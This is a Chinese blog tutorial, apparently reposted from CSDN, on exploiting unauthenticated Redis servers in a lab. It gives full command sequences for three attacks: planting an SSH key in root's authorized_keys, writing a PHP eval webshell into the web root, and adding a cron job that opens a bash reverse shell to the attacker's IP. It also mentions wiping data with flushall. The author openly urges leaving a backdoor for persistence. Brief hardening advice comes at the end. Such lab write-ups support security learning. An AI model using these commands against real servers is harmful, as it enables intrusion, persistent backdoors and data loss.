未授权访问漏洞——以redis为例

未授权漏洞的定义

什么是未授权漏洞?
需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

简而言之,就是任意用户在访问目标服务器的时候,没有经过授权就访问到理应经过授权才能访问的数据。

比如一个评论区,本来需要登录(即授权)才能留言评论。但用户却在没有登录的情况下(当然也没有利用cookies等授权的操作),也成功发表评论。

关系型数据库基本上都有未授权访问漏洞
非关系型数据库基本上只有redis有未授权漏洞

漏洞类型

默认密码
空密码
垂直越权、水平越权
前端取消跳转直接访问绕过

如何发现

扫特定服务端口
扫多级子域名
扫特定应用端口
扫各级目录

这里以redis数据库为例

redis

redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

本地漏洞环境搭建(redis安装)

(当然,靶机同样需要搭建好环境)

CentOS安装redis:

wget http://download.redis.io/releases/redis-3.2.0.tar.gz

在这里插入图片描述
未找到命令的话,安装该命令

yum install wget

在这里插入图片描述

tar xzf redis-3.2.0.tar.gz      //解压redis文件
cd redis-3.2.0
make MALLOC=libc

在这里插入图片描述
如果报错说没有gcc命令
在这里插入图片描述就安装gcc服务,然后重新make MALLOC=libc

yum install gcc

修改配置文件,使可以远程访问

vi redis.conf

bind 127.0.0.1前面加上#号
protected-mode设为no
在这里插入图片描述
在这里插入图片描述
将配置文件放到etc目录下

cp redis.conf /etc/

在这里插入图片描述

启动redis-server

./src/redis-server redis.conf

在这里插入图片描述
然后关闭防火墙
在这里插入图片描述

默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。

虽然可以直接利用这个漏洞访问redis数据库,但是,万一管理员哪天把漏洞堵上了呢?

到那时再感叹:曾经有一个未授权漏洞摆在我面前,我却没有趁机留个后门,结果今天这个漏洞被修复了……

redis基本命令

连接redis: redis-cli -h 172.16.11.78
查看redis版本信息、一些具体信息、服务器版本信息等等: info
在这里插入图片描述

将变量x的值设为test: set x "test"
删库 flushall 把整个redis数据库删除,一般情况下三年以上!!!
查看所有键: KEYS *
在这里插入图片描述

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
config get dir
config get dbfilename

在这里插入图片描述

攻击测试

三种利用方式

上传公钥实现免密登录
往web路径里写webshell
利用计划任务执行反弹shell

攻击机: kali 172.16.11.83
靶机:centos 172.16.11.78
nmap扫描服务器开启端口

1.利用秘钥
ssh-keygen -t rsa  
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>test.txt
cat test.txt | redis-cli -h 172.16.11.78 -x set crackit
redis-cli -h 172.16.11.78
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys"
save
1.创建密钥
ssh-keygen -t rsa   

在这里插入图片描述

2.导入公钥
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>test.txt

在这里插入图片描述

将公钥的内容重定向到test.txt文件里,以\n\n(相当于回车)隔开,\n可不需要

3.发送公钥
cat test.txt | redis-cli -h 192.168.177.146 -x set crackit

在这里插入图片描述

4.为公钥正名

将公钥导入正确的路径,改为正确的名字
在这里插入图片描述

5.免密登录

在这里插入图片描述
此时,可以免密登录靶机,就算现在未授权漏洞被修复了也不怕

具体需要注意的细节可以看这个免密登录

2.用webshell
利用条件
目标服务器关闭了只能本机访问
目标服务器开启了web服务,且web服务的路径已知及我们有写权限
利用过程
redis-cli -h 172.16.11.78 
//利用未授权漏洞连接靶机
config set dir /var/www/html     
//进入对方服务器的web目录
config set dbfilename backdoor.php  
//新建一个名为backdoor.php的文件
set x "<?php @eval($_POST['cmd'])?>"
//将一句话木马写入backdoor文件
save
//保存

在这里插入图片描述
此时,靶机上的木马已经就绪
在这里插入图片描述
此时,不需要未授权漏洞,也可以用蚁剑连接靶机
在这里插入图片描述

3.利用计划任务

利用计划任务执行命令反弹shell,在redis以root权限运行时可以写crontab来执行命令反弹shell

1.监听端口

在自己的服务器上监听一个端口,最好不要设置常用的比如80端口,这里我设置成7999端口

nc -lvnp 7999

在这里插入图片描述

2.执行命令
redis-cli -h 172.16.11.78
config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/172.16.11.83/7999 0>&1\n"    //172.16.11.83是攻击机的ip,7999是攻击机刚刚监听的端口
save

在这里插入图片描述

3.nc监听端口反弹回来的shell

在这里插入图片描述

4.退出
exit

在这里插入图片描述

ps:此处使用bash反弹shell,也可使用其他方法

防御方法

到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放

bind 127.0.0.1

1.5、限制登录ip

虽然默认只对本地开放,但是管理员一般都不会只对本地开放,所以要限制登录ip

2、添加登陆密码

修改 redis.conf 文件,添加 requirepass mypasswd

3、在需要对外开放的时候修改默认端口(端口不重复就可以)

port 9792

4、以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

5、最后还可以配合iptables限制开放
0x04 安全配置

猜你喜欢

转载自blog.csdn.net/weixin_45663905/article/details/108218071